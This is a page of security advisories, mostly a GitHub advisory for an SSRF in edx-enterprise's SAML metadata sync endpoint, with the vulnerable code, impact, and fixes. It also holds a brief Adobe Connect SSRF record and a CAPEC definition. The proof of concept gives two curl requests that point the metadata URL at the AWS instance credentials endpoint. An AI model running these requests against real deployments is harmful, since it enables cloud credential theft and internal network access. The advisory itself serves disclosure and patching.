"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-74842"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/875276"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/391204"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/391204/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-64CV-VXPR-J6VC
Vulnerability from github – Published: 2026-05-05 17:51 – Updated: 2026-06-06 00:27Summary
The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.
This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.
Details
Vulnerable code path:
enterprise/api/v1/views/saml_utils.py:
def fetch_metadata_xml(url):
log.info("Fetching %s", url)
if not url.lower().startswith('https'):
log.warning("This SAML metadata URL is not secure! (%s)", url)
response = requests.get(url, verify=True) # No IP/scheme validation
response.raise_for_status()
enterprise/api/v1/views/saml_provider_data.py:
@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
...
metadata_url = saml_provider.metadata_source # set via SAMLProviderConfig PATCH
xml = fetch_metadata_xml(metadata_url) # triggers the fetch
Missing protections:
- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
- No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges
- No blocking of RFC 1918 private ranges
- No request timeout
Proof of Concept
Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.
Step 1: Set a malicious metadata URL via the provider config endpoint:
curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Step 2: Trigger the server-side fetch:
curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"enterprise_customer_uuid": "<uuid>"}'
The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.
Impact
An Enterprise Admin can use this SSRF to:
- Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
- Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
- Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.
Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.
Patches / Mitigations
Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.
Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.4"
},
"package": {
"ecosystem": "PyPI",
"name": "edx-enterprise"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.2"
},
{
"fixed": "7.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42860"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T17:51:50Z",
"nvd_published_at": "2026-05-11T18:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `sync_provider_data` endpoint in `SAMLProviderDataViewSet` fetches SAML metadata from a URL stored in `SAMLProviderConfig.metadata_source`. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the `SAMLProviderConfigViewSet` PATCH endpoint, then trigger a server-side HTTP request by calling `sync_provider_data`. The fetch in `fetch_metadata_xml()` passes the URL directly to `requests.get()` with no scheme enforcement, IP filtering, or timeout.\n\nThis vulnerability was introduced when the SAML admin viewsets were migrated from `openedx-platform` into `edx-enterprise`. A related fix for the equivalent fetch path in `openedx-platform` (the `fetch_saml_metadata` Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).\n\n## Details\n\n**Vulnerable code path:**\n\n`enterprise/api/v1/views/saml_utils.py`:\n```python\ndef fetch_metadata_xml(url):\n log.info(\"Fetching %s\", url)\n if not url.lower().startswith(\u0027https\u0027):\n log.warning(\"This SAML metadata URL is not secure! (%s)\", url)\n response = requests.get(url, verify=True) # No IP/scheme validation\n response.raise_for_status()\n```\n\n`enterprise/api/v1/views/saml_provider_data.py`:\n```python\n@action(detail=False, methods=[\u0027post\u0027], url_path=\u0027sync_provider_data\u0027)\ndef sync_provider_data(self, request):\n ...\n metadata_url = saml_provider.metadata_source # set via SAMLProviderConfig PATCH\n xml = fetch_metadata_xml(metadata_url) # triggers the fetch\n```\n\n**Missing protections:**\n- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)\n- No blocking of loopback (`127.0.0.0/8`) or link-local (`169.254.0.0/16`) ranges\n- No blocking of RFC 1918 private ranges\n- No request timeout\n\n## Proof of Concept\n\n**Prerequisites:** Authenticated user with `Enterprise Admin` role for any enterprise customer with a configured SAML Identity Provider.\n\n**Step 1:** Set a malicious metadata URL via the provider config endpoint:\n```bash\ncurl -X PATCH \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_config/\u003cpk\u003e/\u0027 \\\n -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"metadata_source\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n```\n\n**Step 2:** Trigger the server-side fetch:\n```bash\ncurl -X POST \u0027https://\u003cinstance\u003e/auth/saml/v0/provider_data/sync_provider_data\u0027 \\\n -H \u0027Authorization: Bearer \u003cJWT\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"enterprise_customer_uuid\": \"\u003cuuid\u003e\"}\u0027\n```\n\nThe server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.\n\n## Impact\n\nAn Enterprise Admin can use this SSRF to:\n\n- **Steal cloud credentials:** Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.\n- **Scan internal networks:** Probe internal hosts, ports, and services behind the deployment\u0027s firewall.\n- **Access internal APIs:** Reach databases, admin panels, or microservices not exposed to the internet.\n\nEnterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.\n\n## Patches / Mitigations\n\nCall `validate_saml_metadata_url()` (importable from `common.djangoapps.third_party_auth.utils` as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in `fetch_metadata_xml()` before calling `requests.get()`. A request timeout should also be added.\n\nOperators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to `169.254.0.0/16` and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.",
"id": "GHSA-64cv-vxpr-j6vc",
"modified": "2026-06-06T00:27:25Z",
"published": "2026-05-05T17:51:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42860"
},
{
"type": "PACKAGE",
"url": "https://github.com/openedx/edx-enterprise"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/edx-enterprise/PYSEC-2026-58.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint"
}
GHSA-64GR-F76R-4FQW
Vulnerability from github – Published: 2022-05-17 00:15 – Updated: 2022-05-17 00:15An issue was discovered in Adobe Connect 9.6.2 and earlier versions. A Server-Side Request Forgery (SSRF) vulnerability exists that could be abused to bypass network access controls.
{
"affected": [],
"aliases": [
"CVE-2017-11291"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-09T06:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Adobe Connect 9.6.2 and earlier versions. A Server-Side Request Forgery (SSRF) vulnerability exists that could be abused to bypass network access controls.",
"id": "GHSA-64gr-f76r-4fqw",
"modified": "2022-05-17T00:15:22Z",
"published": "2022-05-17T00:15:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11291"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/connect/apsb17-35.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101838"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039799"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.